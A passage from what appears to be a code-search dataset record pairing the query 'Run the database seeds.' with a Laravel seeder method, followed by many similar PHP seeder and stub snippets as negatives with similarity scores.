ModelsRol();\n $rol->id = 1;\n $rol->nombre_rol = \"Admin\";\n $rol->estado =\"Activo\";\n $rol->save();\n $rol = new ModelsRol();\n $rol->id = 2;\n $rol->nombre_rol = \"docente\";\n $rol->estado =\"Activo\";\n $rol->save();\n $rol = new ModelsRol();\n $rol->id = 3;\n $rol->nombre_rol = \"estudiante\";\n $rol->estado =\"Activo\";\n $rol->save();\n $rol = new ModelsRol();\n $rol->id = 4;\n $rol->nombre_rol = \"acudiente\";\n $rol->estado =\"Activo\";\n $rol->save();\n }", "public function create()\n {\n \n }", "public function create()\n {\n \n }", "public function create()\n {\n \n }", "public function create()\n {\n \n }", "public function create()\n {\n \n }", "public function create()\n {\n \n }", "public function create()\n {\n \n }", "public function create()\n {\n \n }", "public function create()\n {\n //\n\n }", "public function create()\n {\n\n\n }", "public function create()\n {\n\n\n }", "public function create()\n {\n\n\n }", "public function create()\n {\n\n\n }", "public function create()\n {\n\n\n }", "public function create()\n {\n\n\n }", "public function create()\n {\n\n\n }", "public function create()\n {\n\n\n }", "public function create()\n {\n\n\n }", "public function create()\n {\n \n\n\n }", "public function create()\n {\n // \n }", "public function create()\n {\n //\n echo \"create\";\n }", "public function create()\n {\n //\n echo \"create\";\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n\n\n\n }", "public function testUpdateRole()\n {\n }", "public function testUpdateRole()\n {\n }", "public function create()\n {\n // \n }", "public function create()\n {\n //\n\n\n\n\n }", "public function testWorkflowsWorkflowIdGet()\n {\n }", "public function create()\n { \n \n\n }", "function mCREATE(){\n try {\n $_type = Erfurt_Sparql_Parser_Sparql11_Update_Tokenizer11::$CREATE;\n $_channel = Erfurt_Sparql_Parser_Sparql11_Update_Tokenizer11::$DEFAULT_TOKEN_CHANNEL;\n // Tokenizer11.g:39:3: ( 'create' ) \n // Tokenizer11.g:40:3: 'create' \n {\n $this->matchString(\"create\"); \n\n\n }\n\n $this->state->type = $_type;\n $this->state->channel = $_channel;\n }\n catch(Exception $e){\n throw $e;\n }\n }", "public function create(){\n }" ]
[ "0.53217167", "0.5306386", "0.5233641", "0.5233641", "0.51754403", "0.51417476", "0.511026", "0.5094873", "0.50790423", "0.5037855", "0.5004727", "0.50042605", "0.499789", "0.49826005", "0.4957711", "0.4957229", "0.4955588", "0.4898676", "0.4894828", "0.48918322", "0.4884558", "0.48794922", "0.4875547", "0.48532417", "0.4853021", "0.48387593", "0.48387593", "0.4829906", "0.48259437", "0.48164463", "0.48156583", "0.48119262", "0.4802754", "0.47954124", "0.47910056", "0.47896722", "0.4784421", "0.47829792", "0.47824413", "0.47824413", "0.4768854", "0.47671384", "0.47662014", "0.47661856", "0.47660434", "0.47575757", "0.47573966", "0.47573966", "0.47557068", "0.47509062", "0.47507447", "0.47500154", "0.47485504", "0.47483447", "0.47459656", "0.4741232", "0.4739695", "0.47385296", "0.47378686", "0.47367603", "0.47367603", "0.47367603", "0.47367603", "0.47367603", "0.47367603", "0.47367603", "0.47367603", "0.47351322", "0.47327656", "0.47327656", "0.47327656", "0.47327656", "0.47327656", "0.47327656", "0.47327656", "0.47327656", "0.47327656", "0.47302037", "0.47295985", "0.47294673", "0.47294673", "0.47279927", "0.47279927", "0.47279927", "0.47279927", "0.47279927", "0.47279927", "0.47279927", "0.47279927", "0.47279927", "0.47279927", "0.47279927", "0.47276926", "0.47271186", "0.47271186", "0.47267658", "0.4722466", "0.4721584", "0.4717488", "0.4715924", "0.47152343" ]
0.0
-1
Run the database seeds.
public function run() { //Creo 10 usuarios factory(App\User::class, 10)->create(); //Creo un usuario con mis datos App\User::create([ 'name' => 'Willian Zamalloa', 'email' => '[email protected]', 'password' => bcrypt('123') ]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function run()\n {\n // $this->call(UserTableSeeder::class);\n // $this->call(PostTableSeeder::class);\n // $this->call(TagTableSeeder::class);\n // $this->call(PostTagTableSeeder::class);\n\n /*AB - use faker to populate table see file ModelFactory.php */\n factory(App\\Editeur::class, 40) ->create();\n factory(App\\Auteur::class, 40) ->create();\n factory(App\\Livre::class, 80) ->create();\n\n for ($i = 1; $i < 41; $i++) {\n $number = rand(2, 8);\n for ($j = 1; $j <= $number; $j++) {\n DB::table('auteur_livre')->insert([\n 'livre_id' => rand(1, 40),\n 'auteur_id' => $i\n ]);\n }\n }\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n // Let's truncate our existing records to start from scratch.\n Assignation::truncate();\n\n $faker = \\Faker\\Factory::create();\n \n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 40; $i++) {\n Assignation::create([\n 'ad_id' => $faker->numberBetween(1,20),\n 'buyer_id' => $faker->numberBetween(1,6),\n 'seller_id' => $faker->numberBetween(6,11),\n 'state' => NULL,\n ]);\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n \t$faker = Faker::create();\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$post = new Post;\n \t\t$post->title = $faker->sentence();\n \t\t$post->body = $faker->paragraph();\n \t\t$post->category_id = rand(1, 5);\n \t\t$post->save();\n \t}\n\n \t$list = ['General', 'Technology', 'News', 'Internet', 'Mobile'];\n \tforeach($list as $name) {\n \t\t$category = new Category;\n \t\t$category->name = $name;\n \t\t$category->save();\n \t}\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$comment = new Comment;\n \t\t$comment->comment = $faker->paragraph();\n \t\t$comment->post_id = rand(1,20);\n \t\t$comment->save();\n \t}\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call(RoleTableSeeder::class);\n $this->call(UserTableSeeder::class);\n \n factory('App\\Cat', 5)->create();\n $tags = factory('App\\Tag', 8)->create();\n\n factory(Post::class, 15)->create()->each(function($post) use ($tags){\n $post->comments()->save(factory(Comment::class)->make());\n $post->tags()->attach( $tags->random(mt_rand(1,4))->pluck('id')->toArray() );\n });\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('post')->insert(\n [\n 'title' => 'Test Post1',\n 'desc' => str_random(100).\" post1\",\n 'alias' => 'test1',\n 'keywords' => 'test1',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post2',\n 'desc' => str_random(100).\" post2\",\n 'alias' => 'test2',\n 'keywords' => 'test2',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post3',\n 'desc' => str_random(100).\" post3\",\n 'alias' => 'test3',\n 'keywords' => 'test3',\n ]\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n \t$faker = Factory::create();\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\tDepartment::create([\n \t\t\t'name' => $department\n \t\t]);\n \t}\n \tforeach ($this->collections as $key => $collection) {\n \t\tCollection::create([\n \t\t\t'name' => $collection\n \t\t]);\n \t}\n \t\n \t\n \tfor ($i=0; $i < 40; $i++) {\n \t\tUser::create([\n \t\t\t'name' \t=>\t$faker->name,\n \t\t\t'email' \t=>\t$faker->email,\n \t\t\t'password' \t=>\tbcrypt('123456'),\n \t\t]);\n \t} \n \t\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\t//echo ($key + 1) . PHP_EOL;\n \t\t\n \t\tfor ($i=0; $i < 10; $i++) { \n \t\t\techo $faker->name . PHP_EOL;\n\n \t\t\tArt::create([\n \t\t\t\t'name'\t\t\t=> $faker->sentence(2),\n \t\t\t\t'img'\t\t\t=> $this->filenames[$i],\n \t\t\t\t'medium'\t\t=> 'canvas',\n \t\t\t\t'department_id'\t=> $key + 1,\n \t\t\t\t'user_id'\t\t=> $this->userIndex,\n \t\t\t\t'dimension'\t\t=> '18.0 x 24.0',\n\t\t\t\t]);\n \t\t\t\t\n \t\t\t\t$this->userIndex ++;\n \t\t}\n \t}\n \t\n \tdd(\"END\");\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->dataCategory();\n factory(App\\Model\\Category::class, 70)->create();\n factory(App\\Model\\Producer::class, rand(5,10))->create();\n factory(App\\Model\\Provider::class, rand(5,10))->create();\n factory(App\\Model\\Product::class, 100)->create();\n factory(App\\Model\\Album::class, 300)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n\n factory('App\\User', 10 )->create();\n\n $users= \\App\\User::all();\n $users->each(function($user){ factory('App\\Category', 1)->create(['user_id'=>$user->id]); });\n $users->each(function($user){ factory('App\\Tag', 3)->create(['user_id'=>$user->id]); });\n\n\n $users->each(function($user){\n factory('App\\Post', 10)->create([\n 'user_id'=>$user->id,\n 'category_id'=>rand(1,20)\n ]\n );\n });\n\n $posts= \\App\\Post::all();\n $posts->each(function ($post){\n\n $post->tags()->attach(array_unique([rand(1,20),rand(1,20),rand(1,20)]));\n });\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $types = factory(\\App\\Models\\Type::class, 5)->create();\n\n $cities = factory(\\App\\Models\\City::class, 10)->create();\n\n $cities->each(function ($city) {\n $districts = factory(\\App\\Models\\District::class, rand(2, 5))->create([\n 'city_id' => $city->id,\n ]);\n\n $districts->each(function ($district) {\n $properties = factory(\\App\\Models\\Property::class, rand(2, 5))->create([\n 'type_id' => rand(1, 5),\n 'district_id' => $district->id\n ]);\n\n $properties->each(function ($property) {\n $galleries = factory(\\App\\Models\\Gallery::class, rand(3, 10))->create([\n 'property_id' => $property->id\n ]);\n });\n });\n });\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n\n $categories = factory(App\\Models\\Category::class, 10)->create();\n\n $categories->each(function ($category) {\n $category\n ->posts()\n ->saveMany(\n factory(App\\Models\\Post::class, 3)->make()\n );\n });\n }", "public function run()\n {\n $this->call(CategoriesTableSeeder::class);\n\n $users = factory(App\\User::class, 5)->create();\n $recipes = factory(App\\Recipe::class, 30)->create();\n $preparations = factory(App\\Preparation::class, 70)->create();\n $photos = factory(App\\Photo::class, 90)->create();\n $comments = factory(App\\Comment::class, 200)->create();\n $flavours = factory(App\\Flavour::class, 25)->create();\n $flavour_recipe = factory(App\\FlavourRecipe::class, 50)->create();\n $tags = factory(App\\Tag::class, 25)->create();\n $recipe_tag = factory(App\\RecipeTag::class, 50)->create();\n $ingredients = factory(App\\Ingredient::class, 25)->create();\n $ingredient_preparation = factory(App\\IngredientPreparation::class, 300)->create();\n \n \n \n DB::table('users')->insert(['name' => 'SimpleUtilisateur', 'email' => '[email protected]', 'password' => bcrypt('SimpleMotDePasse')]);\n \n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n // Sample::truncate();\n // TestItem::truncate();\n // UOM::truncate();\n Role::truncate();\n User::truncate();\n\n // factory(Role::class, 4)->create();\n Role::create([\n 'name'=> 'Director',\n 'description'=> 'Director type'\n ]);\n\n Role::create([\n 'name'=> 'Admin',\n 'description'=> 'Admin type'\n ]);\n Role::create([\n 'name'=> 'Employee',\n 'description'=> 'Employee type'\n ]);\n Role::create([\n 'name'=> 'Technician',\n 'description'=> 'Technician type'\n ]);\n \n factory(User::class, 20)->create()->each(\n function ($user){\n $roles = \\App\\Role::all()->random(mt_rand(1, 2))->pluck('id');\n $user->roles()->attach($roles);\n }\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n UsersLevel::create([\n 'name' => 'Administrator'\n ]);\n\n UsersLevel::create([\n 'name' => 'User'\n ]);\n\n User::create([\n 'username' => 'admin',\n 'password' => bcrypt('admin123'),\n 'level_id' => 1,\n 'fullname' => \"Super Admin\",\n 'email'=> \"[email protected]\"\n ]);\n\n\n \\App\\CategoryPosts::create([\n 'name' =>'Paket Trip'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' =>'Destinasi Kuliner'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Event'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Profil'\n ]);\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'avatar' => \"avatar\",\n 'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi',\n ]);\n $this->call(CategorySeeder::class);\n // \\App\\Models\\Admin::factory(1)->create();\n \\App\\Models\\User::factory(10)->create();\n // \\App\\Models\\Category::factory(50)->create();\n \\App\\Models\\PetComment::factory(50)->create();\n $pets = \\App\\Models\\Pet::factory(50)->create();\n foreach ($pets as $pet) {\n \\App\\Models\\PetTag::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\PetPhotoUrl::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\Order::factory(1)->create(['pet_id' => $pet->id]);\n };\n }", "public function run()\n { \n\n $this->call(RoleSeeder::class);\n \n $this->call(UserSeeder::class);\n\n Storage::deleteDirectory('socials-icon');\n Storage::makeDirectory('socials-icon');\n $socials = Social::factory(7)->create();\n\n Storage::deleteDirectory('countries-flag');\n Storage::deleteDirectory('countries-firm');\n Storage::makeDirectory('countries-flag');\n Storage::makeDirectory('countries-firm');\n $countries = Country::factory(18)->create();\n\n // Se llenan datos de la tabla muchos a muchos - social_country\n foreach ($countries as $country) {\n foreach ($socials as $social) {\n\n $country->socials()->attach($social->id, [\n 'link' => 'https://www.facebook.com/ministeriopalabrayespiritu/'\n ]);\n }\n }\n\n Person::factory(50)->create();\n\n Category::factory(7)->create();\n\n Video::factory(25)->create(); \n\n $this->call(PostSeeder::class);\n\n Storage::deleteDirectory('documents');\n Storage::makeDirectory('documents');\n Document::factory(25)->create();\n\n }", "public function run()\n {\n $faker = Faker::create('id_ID');\n /**\n * Generate fake author data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('author')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Generate fake publisher data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('publisher')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Seeding payment method\n */\n DB::table('payment')->insert([\n ['name' => 'Mandiri'],\n ['name' => 'BCA'],\n ['name' => 'BRI'],\n ['name' => 'BNI'],\n ['name' => 'Pos Indonesia'],\n ['name' => 'BTN'],\n ['name' => 'Indomaret'],\n ['name' => 'Alfamart'],\n ['name' => 'OVO'],\n ['name' => 'Cash On Delivery']\n ]);\n }", "public function run()\n {\n DatabaseSeeder::seedLearningStylesProbs();\n DatabaseSeeder::seedCampusProbs();\n DatabaseSeeder::seedGenderProbs();\n DatabaseSeeder::seedTypeStudentProbs();\n DatabaseSeeder::seedTypeProfessorProbs();\n DatabaseSeeder::seedNetworkProbs();\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n // MyList::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 3; $i++) {\n MyList::create([\n 'title' => 'List-'.($i+1),\n 'color' => $faker->sentence,\n 'icon' => $faker->randomDigitNotNull,\n 'index' => $faker->randomDigitNotNull,\n 'user_id' => 1,\n ]);\n }\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Products::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few products in our database:\n for ($i = 0; $i < 50; $i++) {\n Products::create([\n 'name' => $faker->word,\n 'sku' => $faker->randomNumber(7, false),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n User::create([\n 'name' => 'Pablo Rosales',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'status' => 1,\n 'role_id' => 1,\n 'movil' => 0\n ]);\n\n User::create([\n 'name' => 'Usuario Movil',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'status' => 1,\n 'role_id' => 3,\n 'movil' => 1\n ]);\n\n Roles::create([\n 'name' => 'Administrador'\n ]);\n Roles::create([\n 'name' => 'Operaciones'\n ]);\n Roles::create([\n 'name' => 'Comercial'\n ]);\n Roles::create([\n 'name' => 'Aseguramiento'\n ]);\n Roles::create([\n 'name' => 'Facturación'\n ]);\n Roles::create([\n 'name' => 'Creditos y Cobros'\n ]);\n\n factory(App\\Customers::class, 100)->create();\n }", "public function run()\n {\n // php artisan db:seed --class=StoreTableSeeder\n\n foreach(range(1,20) as $i){\n $faker = Faker::create();\n Store::create([\n 'name' => $faker->name,\n 'desc' => $faker->text,\n 'tags' => $faker->word,\n 'address' => $faker->address,\n 'longitude' => $faker->longitude($min = -180, $max = 180),\n 'latitude' => $faker->latitude($min = -90, $max = 90),\n 'created_by' => '1'\n ]);\n }\n\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name'=>\"test\",\n 'password' => Hash::make('123'),\n 'email'=>'[email protected]'\n ]);\n DB::table('tags')->insert(['name'=>'tags']);\n $this->call(UserSeed::class);\n $this->call(CategoriesSeed::class);\n $this->call(TopicsSeed::class);\n $this->call(CommentariesSeed::class);\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n echo 'seeding permission...', PHP_EOL;\n $permissions = [\n 'role-list',\n 'role-create',\n 'role-edit',\n 'role-delete',\n 'formation-list',\n 'formation-create',\n 'formation-edit',\n 'formation-delete',\n 'user-list',\n 'user-create',\n 'user-edit',\n 'user-delete'\n ];\n foreach ($permissions as $permission) {\n Permission::create(['name' => $permission]);\n }\n echo 'seeding users...', PHP_EOL;\n\n $user= User::create(\n [\n 'name' => 'Mr. admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'remember_token' => null,\n ]\n );\n echo 'Create Roles...', PHP_EOL;\n Role::create(['name' => 'former']);\n Role::create(['name' => 'learner']);\n Role::create(['name' => 'admin']);\n Role::create(['name' => 'manager']);\n Role::create(['name' => 'user']);\n\n echo 'seeding Role User...', PHP_EOL;\n $user->assignRole('admin');\n $role = $user->assignRole('admin');\n $role->givepermissionTo(Permission::all());\n\n \\DB::table('languages')->insert(['name' => 'English', 'code' => 'en']);\n \\DB::table('languages')->insert(['name' => 'Français', 'code' => 'fr']);\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(PermissionsSeeder::class);\n $this->call(RolesSeeder::class);\n $this->call(ThemeSeeder::class);\n\n //\n\n DB::table('paypal_info')->insert([\n 'client_id' => '',\n 'client_secret' => '',\n 'currency' => '',\n ]);\n DB::table('contact_us')->insert([\n 'content' => '',\n ]);\n DB::table('setting')->insert([\n 'site_name' => ' ',\n ]);\n DB::table('terms_and_conditions')->insert(['terms_and_condition' => 'text']);\n }", "public function run()\n {\n $this->call([\n UserSeeder::class,\n ]);\n\n User::factory(20)->create();\n Author::factory(20)->create();\n Book::factory(60)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UserSeeder::class);\n $this->call(RolePermissionSeeder::class);\n $this->call(AppmodeSeeder::class);\n\n // \\App\\Models\\Appmode::factory(3)->create();\n \\App\\Models\\Doctor::factory(100)->create();\n \\App\\Models\\Unit::factory(50)->create();\n \\App\\Models\\Broker::factory(100)->create();\n \\App\\Models\\Patient::factory(100)->create();\n \\App\\Models\\Expence::factory(100)->create();\n \\App\\Models\\Testcategory::factory(100)->create();\n \\App\\Models\\Test::factory(50)->create();\n \\App\\Models\\Parameter::factory(50)->create();\n \\App\\Models\\Sale::factory(50)->create();\n \\App\\Models\\SaleItem::factory(100)->create();\n \\App\\Models\\Goption::factory(1)->create();\n \\App\\Models\\Pararesult::factory(50)->create();\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // DB::table('roles')->insert(\n // [\n // ['name' => 'admin', 'description' => 'Administrator'],\n // ['name' => 'student', 'description' => 'Student'],\n // ['name' => 'lab_tech', 'description' => 'Lab Tech'],\n // ['name' => 'it_staff', 'description' => 'IT Staff Member'],\n // ['name' => 'it_manager', 'description' => 'IT Manager'],\n // ['name' => 'lab_manager', 'description' => 'Lab Manager'],\n // ]\n // );\n\n // DB::table('users')->insert(\n // [\n // 'username' => 'admin', \n // 'password' => Hash::make('password'), \n // 'active' => 1,\n // 'name' => 'Administrator',\n // 'email' => '[email protected]',\n // 'role_id' => \\App\\Role::where('name', 'admin')->first()->id\n // ]\n // );\n\n DB::table('status')->insert([\n // ['name' => 'Active'],\n // ['name' => 'Cancel'],\n // ['name' => 'Disable'],\n // ['name' => 'Open'],\n // ['name' => 'Closed'],\n // ['name' => 'Resolved'],\n ['name' => 'Used'],\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create([\n 'name' => 'Qwerty',\n 'email' => '[email protected]',\n 'password' => bcrypt('secretpassw'),\n ]);\n\n factory(User::class, 59)->create([\n 'password' => bcrypt('secretpassw'),\n ]);\n\n for ($i = 1; $i < 11; $i++) {\n factory(Category::class)->create([\n 'name' => 'Category ' . $i,\n ]);\n }\n\n for ($i = 1; $i < 101; $i++) {\n factory(Product::class)->create([\n 'name' => 'Product ' . $i,\n ]);\n }\n }", "public function run()\n {\n\n \t// Making main admin role\n \tDB::table('roles')->insert([\n 'name' => 'Admin',\n ]);\n\n // Making main category\n \tDB::table('categories')->insert([\n 'name' => 'Other',\n ]);\n\n \t// Making main admin account for testing\n \tDB::table('users')->insert([\n 'name' \t\t=> 'Admin',\n 'email' \t=> '[email protected]',\n 'password' => bcrypt('12345'),\n 'role_id' => 1,\n 'created_at' => date('Y-m-d H:i:s' ,time()),\n 'updated_at' => date('Y-m-d H:i:s' ,time())\n ]);\n\n \t// Making random users and posts\n factory(App\\User::class, 10)->create();\n factory(App\\Post::class, 35)->create();\n }", "public function run()\n {\n $faker = Faker::create();\n\n \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Chef',\n 'salario' => '15000.00'\n ));\n\n\t\t \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Mesonero',\n 'salario' => '12000.00'\n ));\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = \\Faker\\Factory::create();\n\n foreach (range(1,5) as $index) {\n Lista::create([\n 'name' => $faker->sentence(2),\n 'description' => $faker->sentence(10), \n ]);\n } \n\n foreach (range(1,20) as $index) {\n $n = $faker->sentence(2);\n \tTarea::create([\n \t\t'name' => $n,\n \t\t'description' => $faker->sentence(10),\n 'lista_id' => $faker->numberBetween(1,5),\n 'slug' => Str::slug($n),\n \t\t]);\n } \n }", "public function run()\n {\n $faker = Faker::create('lt_LT');\n\n DB::table('users')->insert([\n 'name' => 'user',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n DB::table('users')->insert([\n 'name' => 'user2',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n\n foreach (range(1,100) as $val)\n DB::table('authors')->insert([\n 'name' => $faker->firstName(),\n 'surname' => $faker->lastName(),\n \n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UsersTableSeeder::class);\n\n // DB::table('users')->insert([\n // 'name' => 'User1',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('password'),\n // ]);\n\n\n $faker = Faker::create();\n \n foreach (range(1,10) as $index){\n DB::table('companies')->insert([\n 'name' => $faker->company(),\n 'email' => $faker->email(10).'@gmail.com',\n 'logo' => $faker->image($dir = '/tmp', $width = 640, $height = 480),\n 'webiste' => $faker->domainName(),\n \n ]);\n }\n \n \n foreach (range(1,10) as $index){\n DB::table('employees')->insert([\n 'first_name' => $faker->firstName(),\n 'last_name' => $faker->lastName(),\n 'company' => $faker->company(),\n 'email' => $faker->str_random(10).'@gmail.com',\n 'phone' => $faker->e164PhoneNumber(),\n \n ]);\n }\n\n\n\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n Flight::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 100; $i++) {\n\n\n Flight::create([\n 'flightNumber' => $faker->randomNumber(5),\n 'depAirport' => $faker->city,\n 'destAirport' => $faker->city,\n 'reservedWeight' => $faker->numberBetween(1000 - 10000),\n 'deptTime' => $faker->dateTime('now'),\n 'arrivalTime' => $faker->dateTime('now'),\n 'reservedVolume' => $faker->numberBetween(1000 - 10000),\n 'airlineName' => $faker->colorName,\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->truncteTables([\n 'users',\n 'products'\n ]);\n\n $this->call(UsersSeeder::class);\n $this->call(ProductsSeeder::class);\n\n }", "public function run()\n {\n /**\n * Dummy seeds\n */\n DB::table('metas')->truncate();\n $faker = Faker::create();\n\n for ($i=0; $i < 10; $i++) { \n DB::table('metas')->insert([\n 'id_rel' => $faker->randomNumber(),\n 'titulo' => $faker->sentence,\n 'descricao' => $faker->paragraph,\n 'justificativa' => $faker->paragraph,\n 'valor_inicial' => $faker->numberBetween(0,100),\n 'valor_atual' => $faker->numberBetween(0,100),\n 'valor_final' => $faker->numberBetween(0,10),\n 'regras' => json_encode([$i => [\"values\" => $faker->words(3)]]),\n 'types' => json_encode([$i => [\"values\" => $faker->words(2)]]),\n 'categorias' => json_encode([$i => [\"values\" => $faker->words(4)]]),\n 'tags' => json_encode([$i => [\"values\" => $faker->words(5)]]),\n 'active' => true,\n ]);\n }\n\n\n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n\n $faker = Faker::create();\n\n $lessonIds = Lesson::lists('id')->all(); // An array of ID's in that table [1, 2, 3, 4, 5, 7]\n $tagIds = Tag::lists('id')->all();\n\n foreach(range(1, 30) as $index)\n {\n // a real lesson id\n // a real tag id\n DB::table('lesson_tag')->insert([\n 'lesson_id' => $faker->randomElement($lessonIds),\n 'tag_id' => $faker->randomElement($tagIds),\n ]);\n }\n }", "public function run()\n {\n $this->call(CategoriasTableSeeder::class);\n $this->call(UfsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(UserTiposTableSeeder::class);\n factory(App\\User::class, 2)->create();\n/* factory(App\\Models\\Categoria::class, 20)->create();*/\n/* factory(App\\Models\\Anuncio::class, 50)->create();*/\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n Language::truncate();\n Reason::truncate();\n Report::truncate();\n Category::truncate();\n Position::truncate();\n\n $languageQuantity = 10;\n $reasonQuantity = 10;\n $reportQuantity = 10;\n $categoryQuantity = 10;\n $positionQuantity = 10;\n\n factory(Language::class,$languageQuantity)->create();\n factory(Reason::class,$reasonQuantity)->create();\n \n factory(Report::class,$reportQuantity)->create();\n \n factory(Category::class,$categoryQuantity)->create();\n \n factory(Position::class,$positionQuantity)->create();\n\n }", "public function run()\n {\n // \\DB::statement('SET_FOREIGN_KEY_CHECKS=0');\n \\DB::table('users')->truncate();\n \\DB::table('posts')->truncate();\n // \\DB::table('category')->truncate();\n \\DB::table('photos')->truncate();\n \\DB::table('comments')->truncate();\n \\DB::table('comment_replies')->truncate();\n\n \\App\\Models\\User::factory()->times(10)->hasPosts(1)->create();\n \\App\\Models\\Role::factory()->times(10)->create();\n \\App\\Models\\Category::factory()->times(10)->create();\n \\App\\Models\\Comment::factory()->times(10)->hasReplies(1)->create();\n \\App\\Models\\Photo::factory()->times(10)->create();\n\n \n // \\App\\Models\\User::factory(10)->create([\n // 'role_id'=>2,\n // 'is_active'=>1\n // ]);\n\n // factory(App\\Models\\Post::class, 10)->create();\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call([\n ArticleSeeder::class, \n TagSeeder::class,\n Arttagrel::class\n ]);\n // \\App\\Models\\User::factory(10)->create();\n \\App\\Models\\Article::factory()->count(7)->create();\n \\App\\Models\\Tag::factory()->count(15)->create(); \n \\App\\Models\\Arttagrel::factory()->count(15)->create(); \n }", "public function run()\n {\n $this->call(ArticulosTableSeeder::class);\n /*DB::table('articulos')->insert([\n 'titulo' => str_random(50),\n 'cuerpo' => str_random(200),\n ]);*/\n }", "public function run()\n {\n $this->call(CategoryTableSeeder::class);\n $this->call(ProductTableSeeder::class);\n\n \t\t\n\t\t\tDB::table('users')->insert([\n 'first_name' => 'Ignacio',\n 'last_name' => 'Garcia',\n 'email' => '[email protected]',\n 'password' => bcrypt('123456'),\n 'role' => '1',\n 'avatar' => 'CGnABxNYYn8N23RWlvTTP6C2nRjOLTf8IJcbLqRP.jpeg',\n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(RoleSeeder::class);\n $this->call(UserSeeder::class);\n\n Medicamento::factory(50)->create();\n Reporte::factory(5)->create();\n Cliente::factory(200)->create();\n Asigna_valor::factory(200)->create();\n Carga::factory(200)->create();\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n TicketSeeder::class\n ]);\n\n DB::table('departments')->insert([\n 'abbr' => 'IT',\n 'name' => 'Information Technologies',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'email_verified_at' => Carbon::now(),\n 'password' => Hash::make('admin'),\n 'department_id' => 1,\n 'avatar' => 'default.png',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('role_user')->insert([\n 'role_id' => 1,\n 'user_id' => 1\n ]);\n }", "public function run()\n {\n 